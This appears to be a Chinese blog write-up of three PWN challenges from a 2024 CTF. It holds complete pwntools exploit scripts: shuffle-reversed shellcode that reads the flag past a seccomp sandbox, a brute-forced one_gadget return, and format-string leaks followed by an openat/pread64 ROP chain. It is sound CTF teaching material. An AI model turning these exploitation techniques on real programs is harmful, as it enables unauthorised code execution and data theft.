首页 > 其他分享 >2024春秋杯网络安全联赛夏季赛-PWN-Writeup

2024春秋杯网络安全联赛夏季赛-PWN-Writeup

时间:2024-07-09 12:57:27浏览次数:5  
标签:p64 chain libc Writeup len 2024 rop pop PWN

2024春秋杯网络安全联赛夏季赛-PWN-Writeup

只打了第一天,费了好大劲,终于三道都出了。

image-20240709125601478

Shuffled_Execution

保护全开,ida查看伪代码:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  char *s; // [rsp+28h] [rbp-18h]
  unsigned __int64 len; // [rsp+30h] [rbp-10h]

  init();
  s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( s == (char *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
  len = strlen(s);
  shuffle((__int64)s, len);
  if ( len <= 0xAF )
  {
    sandbox();
    entrance();
    LODWORD(v3) = 0;
  }
  else
  {
    return (int)"Error triggered...";
  }
  return v3;
}

可以看道mmap申请0x1337000处0x1000大小的内存空间,使用syscall系统调用来调用read函数向内存中进行写入。

shuffle函数会打乱我们输入的内容。

判断长度小于等于0xAF之后会然后开启沙箱,然后entrance()函数会让程序跳转到0x1337000处去执行。

shuffle函数的伪代码:

unsigned __int64 __fastcall shuffle(__int64 input, unsigned __int64 len)
{
  char v3; // [rsp+1Bh] [rbp-15h]
  int i; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  srand(4919u);
  if ( len > 1 )
  {
    for ( i = 0; i < len >> 1; ++i )
    {
      v5 = rand() % len;
      v3 = *(_BYTE *)(i + input);
      *(_BYTE *)(i + input) = *(_BYTE *)(input + v5);
      *(_BYTE *)(v5 + input) = v3;
    }
  }
  return v6 - __readfsqword(0x28u);
}

程序实现的是随机交换程序中的字节,程序中的这种随机其实是伪随机,我们可以出每次随机的数的。

在exp中我们可以模拟上述随机数生成的过程,写出预处理函数来先进行预处理,这个预处理所实现的功能就是让程序进行shuffle()函数打乱之后的顺序反而是我们预期想要的顺序

def unshuffle(shuffled_bytes, seed=4919):
    #random.seed(seed)
    libc.srand(4919)
    
    # Find the first occurrence of \x00
    null_byte_index = shuffled_bytes.find(b'\x00')
    # Use the index of \x00 if it exists, otherwise use the full length
    len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
    shuffled_list = list(shuffled_bytes[:len_input])
    indices = list(range(len_input))
    if len_input > 1:
        swaps = []
        for i in range(len_input >> 1):
            v5 = libc.rand() % len_input
            swaps.append((i, v5))

        # Reverse the swaps
        for i, v5 in reversed(swaps):
            v3 = shuffled_list[v5]
            shuffled_list[v5] = shuffled_list[i]
            shuffled_list[i] = v3

    return bytes(shuffled_list)+shuffled_bytes[len_input:]

再来看看沙箱规则:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

open被办ban了,这里用openat代替。

read被ban了,这里用preadv2代替。

write被ban了,这里用writev代替。

完整exp:

from pwn import *
from ctypes import *

shellcode = '''
	mov rbp,0x1337100
	mov rsp,rbp
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor rdx, rdx
    push SYS_openat
    pop rax
    syscall

    mov rdi, 3
    push 0x30
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv2
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x30
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall
'''

def unshuffle(shuffled_bytes, seed=4919):
    libc.srand(4919)
    # Find the first occurrence of \x00
    null_byte_index = shuffled_bytes.find(b'\x00')
    # Use the index of \x00 if it exists, otherwise use the full length
    len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
    shuffled_list = list(shuffled_bytes[:len_input])
    indices = list(range(len_input))
    if len_input > 1:
        swaps = []
        for i in range(len_input >> 1):
            v5 = libc.rand() % len_input
            swaps.append((i, v5))
        # Reverse the swaps
        for i, v5 in reversed(swaps):
            v3 = shuffled_list[v5]
            shuffled_list[v5] = shuffled_list[i]
            shuffled_list[i] = v3
    return bytes(shuffled_list)+shuffled_bytes[len_input:]

p = process('./pwn')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
context(os='linux', arch='amd64', log_level='debug')

# 将 shellcode 转换为机器码
shellcode = asm(shellcode)
# 对 shellcode 进行预处理
preprocessed_payload = unshuffle(shellcode)
p.send(preprocessed_payload)
print(p.recv())
print(p.recv())

赛后看到imarch22师傅的博客,看道师傅有一个思路是直接利用\x00进行截断。实际操作就是在shellcode前面加个"mov eax,0",转成字节码\xb8\x00\x00\x00\x00,这行程序在进行strlen的时候返回值是1,程序在进行洗牌的时候i < len >> 1直接不满足条件,就不会进行打乱。省去了我写unshuffle()函数的过程。

stdout

考setvbut

setvbuf 函数原型

int setvbuf(FILE *stream, char *buffer, int mode, size_t size);

参数说明

  • stream: 文件流指针,例如 stdinstdoutstderr
  • buffer: 指向缓冲区的指针。如果为 NULL0LL,则使用系统提供的缓冲区。
  • mode:缓冲模式,可以是以下之一:
    • _IOFBF: 全缓冲。全缓冲模式下,数据会被存储在一个缓冲区中,直到缓冲区满或者显式地刷新(如调用 fflush 函数),然后一次性写入或读取。
    • _IOLBF: 行缓冲。行缓冲模式下,数据在遇到换行符(\n)时或者缓冲区满时进行刷新(写入或读取)。
    • _IONBF: 无缓冲。无缓冲模式下,数据不经过缓冲区,而是直接写入或读取。这意味着每个 I/O 操作都会立即进行系统调用,数据会实时反映在目标设备上。
  • size: 缓冲区大小。如果 bufferNULL0LL,此参数被忽略。

本题有很明显的栈溢出,但是stdout设置的全缓冲,正常思路是用csu调用setvbut来设置为无缓冲来进行泄露libc打ret2libc,我没有这么做,我直接打程序返回地址为onegadgets来拿到shell读取flag的。1/4096的概率,爆破了大概十分钟出了。

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
payload1 = b'a'*0x50+b'bbbbbbbb'+p64(0x0040125D)
main = 0x00401370
pop_r12_r13_r14_r15 = 0x04013cc
payload2 = b'a'*0x20+b'bbbbbbbb'+p64(pop_r12_r13_r14_r15)
payload2+= p64(0)*4+p64(main)
payload3 = b'a'*0x50+b'bbbbbbbb'+b'\xfe\x8a\x69'

for i in range(4096):
	try:
		p = process('./pwn')
		p.send(payload1)
		sleep(0.2)
		p.send(payload2)
		sleep(0.2)
		p.send(payload3)
		sleep(0.2)
		p.sendline(b'ls')
		p.sendline(b'cat flag')
		aaa = p.recv()
		if b'flag' in aaa:
			print(aaa)
			break
	except:
		p.close()
		continue
p.interactive()

SavethePrincess

通过循环爆破love的内容,来拿到格式化字符串漏洞的利用权限。

拿到格式化字符串漏洞之后泄露canary、pie、libc、stack。

之后就是利用openat、pread64、puts来实现orw输出flag。

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

zifu = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']

def duan():
	sleep(0.5)
	gdb.attach(p)
	pause()

def baopo():
	love = ''
	for j in range(8):
		for i in zifu:
			sleep(0.01)
			love_len = len(love)
			temp2 = '\\x0'+str(love_len+1)
			p.recvuntil(b'> \n')
			p.sendline(b'1')
			temp = love+i
			p.recvuntil(b'password: \n')
			p.send(temp.ljust(10,'a'))
			sleep(0.02)
			recv = p.recvline()
			if b'successfully' in recv:
				love+= i
				break
			print(temp2)
			if temp2 in str(recv):
				love+= i
				break
	return love

def fmt(password,payload):
	#p.recvuntil(b'> \n')
	p.sendline(b'1')
	p.recvuntil(b'password: \n')
	p.send(password)
	p.recvuntil(b'successfully, Embrace the power!!!\n')
	p.send(payload)

password = baopo()
p.send('aaaa')
fmt(password,b'%13$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print('canry-->'+hex(canary))

fmt(password,b'%23$p')
p.recvuntil(b'0x')
pie = int(p.recv(12),16)-0x01745
print('pie-->'+hex(pie))

fmt(password,b'%35$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16)-128-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))

fmt(password,b'%36$p')
p.recvuntil(b'0x')
stack = int(p.recv(12),16)-320
print('stack-->'+hex(stack))

pop_rdi_ret = libc_base+0x002a3e5
pop_rsi_ret = libc_base+0x002be51
buffer_addr = pie+0x04050
pop_rdx_r12_ret = libc_base+0x00011f2e7
pop_rax_ret = libc_base+0x045eb0
pop_rcx_ret = libc_base+0x03d1ee
syscall_ret = libc_base+0x029db4
preadv2 = libc_base+libc.symbols['preadv2']
pread64 = libc_base+libc.symbols['pread64']
buf = pie+0x04050
write = libc_base+libc.symbols['write']
puts = libc_base+libc.symbols['puts']
shuju = pie+0x00020DB
main = pie+0x0000176A
pop_rdx = pie+0x00017d6
pop_r10_ret = pie+0x0017D5
openat_addr = libc_base+libc.symbols['openat']
strncpy = libc_base+libc.symbols['strncpy']
flag_addr = libc_base+0x00001d618
write = libc_base+libc.symbols['write']
read = libc_base+libc.symbols['read']

rop_chain = p64(pop_rdi_ret)
rop_chain += p64(0xffffffffffffff9c)  # AT_FDCWD
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0)
rop_chain += p64(pop_rdx)
rop_chain += p64(0)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(openat_addr)

rop_chain += p64(pop_rdi_ret)
rop_chain += p64(3)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x30)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(pread64)

rop_chain += p64(pop_rdi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(puts)

rop_chain = rop_chain.ljust(0x1a0,b'\x00')
rop_chain += b'./flag\x00\x00'
rop_chain += b'111111'

p.sendline(b'2')
p.recvuntil(b'dragon!!\n')
padding = b'a'*0x38+p64(canary)+b'bbbbbbbb'
payload = padding + rop_chain
p.send(payload)
p.recvuntil(b'succeed?\n')
print(p.recv())
print(p.recv())

标签:p64,chain,libc,Writeup,len,2024,rop,pop,PWN
From: https://www.cnblogs.com/xiaochange/p/18291573

相关文章

  • 【2024-07-08】调整预期
    20:00人之所以痛苦,在于追求错误的东西。如果你不给自己烦恼,别人也永远不可能给你烦恼。因为你自己的内心,你放不下。好好的管教你自己,不要管别人。                                        ......
  • 分享:2024可以用的免费图床&文件分享网盘
    屋舍免费公益文件存储平台,上传可以获得直链,没有流量限制和文件类型限制。可上传最大100m,国内速度尚可该服务为免费公益服务,不可滥用和上传违法内容。如音频能播放代表服务可用。https://www.uhsea.com123网盘界面和阿里云盘相似度极高,可当作一个山寨阿里云盘,注册可获取2t......
  • 2024暑假集训测试1
    前言比赛链接。排名历程:\(3→5→3\),因为\(T1\)的specialjudge是后来加上的,导致部分人挂了分,赛后安排了重测,就变成了\(rank5\),赛后发现\(T1\)数据过水,重新更新了数据,卡掉了很多人的假做法,又成了\(rank3\)。T1已知合法的分组有\(\begin{cases}0~0~0\\1~1......
  • 2024.07.09【读书笔记】|医疗科技创新流程(第二章 创新创造 概念探索与测试案例分析1)
    案例一:Oculeve-神经刺激治疗干眼症背景与挑战干眼症(DryEyeDisease,DED)是一种常见的眼部疾病,影响着数百万美国人的生活质量。该病症由泪液不足或蒸发过快引起,导致眼表炎症、疼痛、灼热感、异物感和视力受损。Oculeve团队认识到,尽管市场上有人工泪液等治疗方法,但这些方......
  • SMU Summer 2024 Contest Round 1
    SequenceDecomposing1.题意其实就是要我们找共有多少个最长的上升的子序列,也就是理解成可以找到几个尽量长的队伍(最少LIS不相交覆盖)2.我们开一个multiset,然后先放进去第一个数,由于multiset会对元素自动从小到大排序,那么我们放进的队尾,也是排序好的,然后从第二个数开始遍历,检查一......
  • 2024码蹄杯职高省赛第三场初赛全题解
    其实吧对于码蹄杯省赛的话,第三场是一千五百多人,百分之25的获奖率,然后前四百名左右就可以获奖,根据排行来看大概是六题左右,其中大概就四题要点脑子,其余的基本上属于语法题,也就是13题中如果语法没问题的话,九题是很轻松的,因为都是青铜白银题,语法没问题的话就OK的,然后就是一个P序列,......
  • 题解(2024.7.8贪心)
    1.Teleporters(HardVersion)题意:有n+2个位置:0~n+1,给定n个数\(a_1\)~\(a_n\),有以下操作:向左/右移动一格,代价为1。传送回0位置或者n+1位置,记你当前的位置为i,则代价为\(a_i\)。每个位置只能发动一次传送。求最大传送次数思路:因为每次传送都会回到0/n+1号点,所以,到......
  • 2024已过半,还没试过在vue3中使用ioc容器吗?
    Vue3已经非常强大和灵活了,为什么还要引入IOC容器呢?IOC容器离不开Class,那么我们就从Class谈起Class的应用场景一提起Class,大家一定会想到这是Vue官方不再推荐的代码范式。其实,更确切的说,Vue官方是不推荐基于Class来定义Vue组件。如图所示:社区确实有几款基于Clas......
  • 2024年7个最佳WooCommerce商城案例
    WooCommerce毫无疑问是最受欢迎的电子商务平台。截至2021年,它的下载量已超过8230万次,运行的网站超过380万个。 就市场份额而言,WooCommerce高达40.9%—比紧随其后的竞争对手Shopify高出近15%。 这些数字说明了WooCommerce的规模有多大,以及无数电子商务品......
  • 9个用于测试自动化的最佳AI测试工具(2024)
    选择一款优质的基于生成式AI人工智能的测试工具能够确保测试过程的准确性和效率,从而加速整个软件测试周期。相反,设计不佳的测试工具可能无法发现错误,并可能存在安全问题。它们可能产生误报或漏报,误导开发与测试团队,导致潜在的软件故障。  1、testRigortestRigor是一个基......